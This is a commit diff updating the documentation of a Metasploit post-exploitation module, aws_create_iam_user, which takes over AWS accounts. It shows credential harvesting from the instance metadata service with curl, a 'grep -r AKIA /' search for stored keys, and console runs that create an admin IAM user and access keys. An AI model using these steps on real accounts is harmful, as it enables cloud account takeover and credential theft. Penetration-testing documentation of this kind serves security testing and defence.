Skip to content

Commit ee0e5e8

Browse files
godinezjgodinezj
committed
Updated README
1 parent a9cb08a commit ee0e5e8

File tree

1 file changed

+138
-38
lines changed

1 file changed

+138
-38
lines changed

‎documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 138 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -4,19 +4,80 @@ aws_create_iam_user is a simple post module that can be used to take over AWS
44
accounts. Sure, it is fun enough to take over a single host, but you can own all
55
hosts in the account if you simply create an admin user.
66

7+
# Background
8+
9+
## Instance Profiles
10+
11+
An Instance Profile is an AWS construct that maps a role to a host (instance).
12+
Not all hosts have instance profiles and/or may have restricted privileges.
13+
AWS roles are composed of policies which specify API calls that the host is
14+
allowed to make.
15+
716
## Privileges
817

918
This module depends on administrators being lazy and not using the least
10-
privileges possible. Only on rare cases should instances have the following
11-
privileges.
19+
privileges possible. We often see instances assigned `*.*` roles that allow
20+
any user on the instance to make any API call including creating admin users.
21+
When this occours, a user with long lived credentials can be created and calls
22+
against the AWS API can be made from anywhere on the Internet. Once an account
23+
is taken over in this manner instances can be spun up, other users can be locked
24+
out, networks can be traversed, and many other dangeous things can happen.
25+
26+
Only on rare cases should hosts have the following privileges, these should be
27+
restriced.
1228

1329
* iam:CreateUser
1430
* iam:CreateGroup
1531
* iam:PutGroupPolicy
1632
* iam:AddUserToGroup
1733
* iam:CreateAccessKey
1834

19-
## Establish a foothold
35+
This module will attempt all API calls listed above in sequence. Account takeover
36+
may succeed even if intermediate API calls fail. E.g., we may not be able to
37+
create a new user, but we may be able to create access keys for an existing user.
38+
39+
## Metadata Service
40+
41+
The metadata service is a mechanism the AWS hypervisor employs to pass
42+
information down into hosts. Any AWS host can retrieve information about itself
43+
and its environemtn by curling http://169.254.169.254/. This mechanism is also
44+
used to pass temporary credentials to a host. This module pulls these temporary
45+
credentials and attempts to create a user with admin privileges.
46+
47+
To manually check that a host has an instance profile you can simply curl the
48+
metadata service like so:
49+
50+
```
51+
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
52+
SOME_ROLE_NAME
53+
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
54+
{
55+
"Code" : "Success",
56+
"LastUpdated" : "2016-12-07T18:36:48Z",
57+
"Type" : "AWS-HMAC",
58+
"AccessKeyId" : "ASIA
59+
...
60+
```
61+
62+
# Usage
63+
64+
aws_create_iam_user can be used to take over an AWS account given access to
65+
a host having 1). overly permissive instance profile/role, 2). API Access keys.
66+
Once a foothold is established, you can run the module to pull temporary
67+
access keys from the metadata service. If this fails, search the instance for
68+
API access keys, e.g., see ~/aws/credentals, and set `AccessKeyId`,
69+
`SecretAccessKey`, & `Token` (optional).
70+
71+
## Options
72+
73+
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
74+
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
75+
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
76+
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
77+
* `Proxies`: depending on your environment, you may wan to proxy your calls to AWS.
78+
79+
80+
### Establish a foothold
2081

2182
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
2283
foothold and launch a meterpreter session.
@@ -59,53 +120,92 @@ Active sessions
59120
60121
```
61122

62-
## Create IAM User
123+
## Overly Permissive Instance Profile
63124

64-
Now you can load `aws_create_iam_user` and specify a meterpreter sesssion,
65-
e.g., `SESSION 1`.
125+
Here we are assuming that we have taken over a host having an instance profile with
126+
overly permissive access. Once a session is established, we can load
127+
`aws_create_iam_user` and specify a meterpreter sesssion,
128+
e.g., `SESSION 1` and run the exploit.
66129

67130
```
68131
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
69132
msf post(aws_create_iam_user) > set SESSION 1
70133
SESSION => 1
71134
msf post(aws_create_iam_user) > exploit
72135
73-
[*] 169.254.169.254:80 - looking for creds...
74-
[*] Creating user: metasploit
75-
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
76-
[!] Path: /
77-
[!] UserName: metasploit
78-
[!] Arn: arn:aws:iam::097986286576:user/metasploit
79-
[!] UserId: AIDA...
80-
[!] CreateDate: 2016-11-21T17:59:50.010Z
81-
[*] Creating group: metasploit
82-
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
83-
[!] Path: /
84-
[!] GroupName: metasploit
85-
[!] Arn: arn:aws:iam::097986286576:group/metasploit
86-
[!] GroupId: AGPAIENI6YTM5JVRQ2452
87-
[!] CreateDate: 2016-11-21T17:59:50.554Z
88-
[*] Creating group policy: metasploit
89-
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
90-
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/
91-
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"}
92-
[*] Adding user (metasploit) to group: metasploit
93-
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
94-
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/
95-
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"}
96-
[*] Creating API Keys for metasploit
97-
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
98-
[!] AccessKeyId: AKIA...
99-
[!] SecretAccessKey: THE SECRET ACCESS KEY...
100-
[!] AccessKeySelector: HMAC
101-
[!] UserName: metasploit
102-
[!] Status: Active
103-
[!] CreateDate: 2016-11-21T17:59:51.967Z
136+
[*] 169.254.169.254 - looking for creds...
137+
[*] Creating user: J2XXox11WW4brAcb
138+
[*] Connecting (iam.amazonaws.com)...
139+
[*] Creating group: J2XXox11WW4brAcb
140+
[*] Connecting (iam.amazonaws.com)...
141+
[*] Creating group policy: J2XXox11WW4brAcb
142+
[*] Connecting (iam.amazonaws.com)...
143+
[*] Adding user (J2XXox11WW4brAcb) to group: J2XXox11WW4brAcb
144+
[*] Connecting (iam.amazonaws.com)...
145+
[*] Creating API Keys for J2XXox11WW4brAcb
146+
[*] Connecting (iam.amazonaws.com)...
104147
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
105148
[*] Post module execution completed
106-
msf post(aws_create_iam_user) > exit -y
107149
```
108150

151+
If the host does not have an instance profile or the right access, the output will look like so:
152+
153+
```
154+
[*] 169.254.169.254 - looking for creds...
155+
[*] Creating user: 3SFFML3ucP1AyP7J
156+
[*] Connecting (iam.amazonaws.com)...
157+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/3SFFML3ucP1AyP7J
158+
[*] Creating group: 3SFFML3ucP1AyP7J
159+
[*] Connecting (iam.amazonaws.com)...
160+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::097986286576:group/3SFFML3ucP1AyP7J
161+
[*] Creating group policy: 3SFFML3ucP1AyP7J
162+
[*] Connecting (iam.amazonaws.com)...
163+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
164+
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
165+
[*] Connecting (iam.amazonaws.com)...
166+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
167+
[*] Creating API Keys for 3SFFML3ucP1AyP7J
168+
[*] Connecting (iam.amazonaws.com)...
169+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
170+
[*] Post module execution completed
171+
```
172+
173+
## API Access Keys
174+
175+
In the case that the host we have taken over has no instance profile or does not
176+
have the required privileges, we can search the host for access keys with
177+
something like `grep -r AKIA /`. These keys may have admin privileges at which
178+
point you own the account, if not we may be able to escalate privileges.
179+
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
180+
the exploit to test this possibility.
181+
182+
```
183+
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
184+
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
185+
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
186+
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
187+
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
188+
msf post(aws_create_iam_user) > set SESSION 1
189+
SESSION => 1
190+
msf post(aws_create_iam_user) > run
191+
192+
[*] 169.254.169.254 - looking for creds...
193+
[*] Creating user: NyTDbU9v6LzzCLXq
194+
[*] Connecting (iam.amazonaws.com)...
195+
[*] Creating group: NyTDbU9v6LzzCLXq
196+
[*] Connecting (iam.amazonaws.com)...
197+
[*] Creating group policy: NyTDbU9v6LzzCLXq
198+
[*] Connecting (iam.amazonaws.com)...
199+
[*] Adding user (NyTDbU9v6LzzCLXq) to group: NyTDbU9v6LzzCLXq
200+
[*] Connecting (iam.amazonaws.com)...
201+
[*] Creating API Keys for NyTDbU9v6LzzCLXq
202+
[*] Connecting (iam.amazonaws.com)...
203+
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
204+
[*] Post module execution completed
205+
```
206+
207+
## Loot
208+
109209
You can see the API keys stored in loot:
110210

111211
```

0 commit comments

Comments
 (0)